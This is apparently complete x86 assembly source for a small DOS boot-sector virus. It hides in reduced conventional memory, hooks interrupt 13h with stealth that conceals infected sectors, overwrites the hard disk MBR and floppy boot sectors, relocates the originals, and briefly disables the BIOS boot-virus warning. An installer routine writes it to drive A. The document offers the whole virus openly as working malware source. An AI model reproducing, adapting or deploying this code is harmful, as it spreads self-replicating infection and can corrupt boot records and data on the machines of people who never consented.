.286                            ; Virus Size~=350 bytes
VirLenght equ offset @@EndOfVir - offset begin
BuffOfs   equ 512               ; Block for MBR
text segment byte public
	assume cs:text,ds:text
	org   100h
begin:  jmp   @@Install         ; Will be push cs
        dw    07bfeh            ; ... pop ss, mov sp,7bfeh - 1+1+3 = 5 bytes
        call  GetOfs            ; Get Current Offset in si
GetOfs: pop   si                ; si = offset 'pop si' - 1 byte
        sub   si,3+2+3          ; si = "offset" begin
        push  cs                ; 1 byte
        pop   ds                ; ds = 0000h
        cld                     ; Move Strings Forward
        dec   word ptr ds:[0413h]
        mov   ax,word ptr ds:[0413h]
        shl   ax,6              ; Decrease DOS memory by 1 Kbyte(1024 Bytes)
        mov   es,ax             ; es = segment of "hidden" memory
        mov   cx,VirLenght      ; Total Viral Code in bytes
        xor   di,di             ; Move to es:0000h
        push  es                ; All ItSelf Code
        push  offset @@StartVir - 100h
        rep   movsb             ; 2 bytes
        retf                    ; go to es:@@StartVir - 1 byte
@@StartVir:
        push  ds                ; Load Nature MBR
        pop   es                ; es = 0000h
        mov   ax,0201h          ; Sectors = 1
        mov   bx,07c00h         ; Standart Place for BOOT/MBR
        mov   cx,cs:[di-3]      ; Road, Sect
        mov   dx,cs:[di-5]      ; Head, Diskovod
        push  ax                ; Save ax
        int   13h               ; write to 0000:07c00
        pop   ax                ; ax = 0201h
        push  es                ; Be ready to return
        push  bx                ; Push far Ret Address 0000:7c00
; Infect Hard Drive
        mov   si,0040h*16+00b6h ; Virus Warning on Boot
        push  word ptr ds:[si]
        and   byte ptr ds:[si],255-128
        push  cs                ; ds = to new Data Allocation
        pop   ds
        push  cs
        pop   es                ; es=cs
        mov   cx,0001h          ; Road=0, Sect=1
        mov   dx,0080h          ; Head,Diskovod=80h
        mov   bx,BuffOfs
        int   13h               ; es:[bx] - point to Buffer
        jc    @@ErrMBR          ; Disk Not Reading
        cmp   byte ptr [bx],0eh ; Already Infected ?
        jz    @@ErrMBR          ; Yes !
        mov   cl,0ch            ; Use 12 Sector
        mov   ax,0301h          ; Write Function
        int   13h
        jc    @@ErrMBR          ; Disk Not Reading
        mov   di,bx             ; Our Code
        call  @@CopyBoot        ; Viral Code to ... Replace to old MBR
        int   13h               ; ax=0301h, cx=0001h
@@ErrMBR:
        push  ss
        pop   es                ; es=0000h
        pop   word ptr es:[si]  ; Virus Warning on Boot
        mov   byte ptr ds:[si-1],0
        mov   di,13h*4          ; Hook int 13h
        mov   ax,offset @@New13Handler - 100h
        xchg  ax,word ptr es:[di]
        mov   word ptr Old13h-100h,ax
        mov   ax,cs
        xchg  ax,word ptr es:[di+2]
        mov   word ptr Old13h-100h+2,ax
; To Nature Boot/MBR Record
        retf
@@New13Handler:                 ; New int 13h handler
        push  si
        mov   si,offset Old13h-100h
        push  ds
        push  cs
        pop   ds
        mov   ds:[si+8],ah      ; Save ah
        cmp   ah,02h
        jz    @@Stells
        cmp   ah,03h
        jnz   @@SkipStells
@@Stells:
        cmp   cx,0001h
        jnz   @@SkipStells
        test  dh,dh
        jnz   @@SkipStells
        cmp   dl,[si+4]         ; Read Start Device ?
        jnz   @@SkipStells
        push  cx
        push  dx
        mov   dx,ds:[si+4]
        mov   cx,ds:[si+6]
        pushf
        call  dword ptr ds:[si] ; Execute It !
        pop   dx
        pop   cx
        jmp   short @@AfterStells
@@SkipStells:
        pushf
        call  dword ptr ds:[si] ; Execute It !
@@AfterStells:
        jc    @@DiskError
        pushf
        pusha
        push  es                ; Check for BOOT Signature...
        cmp   word ptr es:[bx+01feh],0aa55h
        jnz   @@NoBootRec
        cmp   byte ptr es:[bx],0ebh
        jnz   @@NoBootRec       ; Real BOOT Record ?!
        mov   ah,02h            ; Try to Infect !!!
        mov   ds:[si+8],ah      ; It works under Windows too )))
        mov   cx,0001
        xor   dx,dx
@@NoBootRec:
        test  dl,dl             ; Drive A ?
        jnz   @@Usal13h
        mov   ax,0201h          ; ax=0201h, 1 Sector
        cmp   ds:[si+8],ah      ; It was reading ?
        jnz   @@Usal13h
        xor   dh,dh             ; Head=0
        dec   cx                ; Road=0, Sec=1 (cx=01h) ?
        jnz   @@Usal13h
        inc   cx                ; cx=0001h
        mov   bx,BuffOfs        ; Reading That We Need !
        push  ds
        pop   es
        pushf
        call  dword ptr ds:[si] ; Execute It !
        jc    @@Usal13h         ; Error !
        lea   di,[bx+0055h]
        cmp   byte ptr [di],0eh ; Already Infected ?
        jz    @@Usal13h         ; Yes !
        mov   ch,79             ; Default Road
        mov   al,[bx+15h]
        cmp   al,0f0h
        jz    @@Real80
        cmp   al,0f9h
        jz    @@Real80
        cmp   al,0fh
        jnz   @@Usal13h
        mov   ch,39
@@Real80:
        inc   dh                ; dx=0100h
        mov   cl,[bx+18h]       ; Max Sector
        mov   ax,0301h          ; Write function
        pushf
        call  dword ptr ds:[si] ; Execute It !
        jc    @@Usal13h
        mov   word ptr [bx],053ebh
        call  @@CopyBoot
        xor   dx,dx             ; cx=0001h
        pushf
        call  dword ptr ds:[si] ; Execute It !
@@Usal13h:
        pop   es
        popa
        popf
@@DiskError:
        pop   ds
        pop   si
        retf  2
@@CopyBoot:                     ; Move all Viral Code to es:[di]
        pusha                   ; For disk int 13h operations
        cld
        mov   cx,VirLenght
        xor   si,si
        rep   movsb
        popa                    ; ... and put onto this new Road..Disk
        mov   CylSec[di-100h],cx  ; Road, Sect
        mov   NumHead[di-100h],dx ; Head, Diskovod
        mov   ax,0301h          ; After return we'll use
        mov   cx,0001h          ; these values
        ret
Old13h:    dw    ?              ; [si]
           dw    ?              ; [si+2]
NumHead    dw    ?              ; [si+4]
CylSec     dw    ?              ; [si+6]
Save_ah    db    ?              ; [si+8]
@@EndOfVir:
@@Install:
        mov   ax,0201h          ; Sectors = 1
        mov   cx,01h            ; Road =0, Sect = 1
        xor   dx,dx             ; Head = 0, Diskovod = 0
        mov   bx,offset DiskBuffer
        int   13h               ; es:[bx] - point to Buffer
        jc    @@Error           ; Disk Not Reading
        push  es
        push  bx
        mov   ah,08h
        xor   dl,dl
        int   13h
        pop   bx
        pop   es
        jc    @@Error
        xor   dl,dl
        mov   NumHead,dx
        mov   CylSec,cx
        mov   ax,0301h
        int   13h
        jc    @@Error
        cld
        mov   si,offset begin
        mov   word ptr [si],0170eh
        mov   byte ptr [si+2],0bch
        mov   word ptr DiskBuffer,053ebh
        mov   di,offset DiskBuffer + 0055h
        mov   cx,VirLenght
        rep   movsb
        mov   ax,0301h
        mov   cx,01h
        xor   dx,dx
        int   13h
        jc    @@Error
@@Exit:
	mov   ax,4C00h
	int   21H		; BACK TO DOS ! - Only Once !
@@Error:
        mov   dx,offset ErrMess
        mov   ah,09h
        int   21h
        jmp   short @@Exit
Done:
ErrMess    db 'Error !','$'
DiskBuffer db 512 dup(?)
Text Ends
	end begin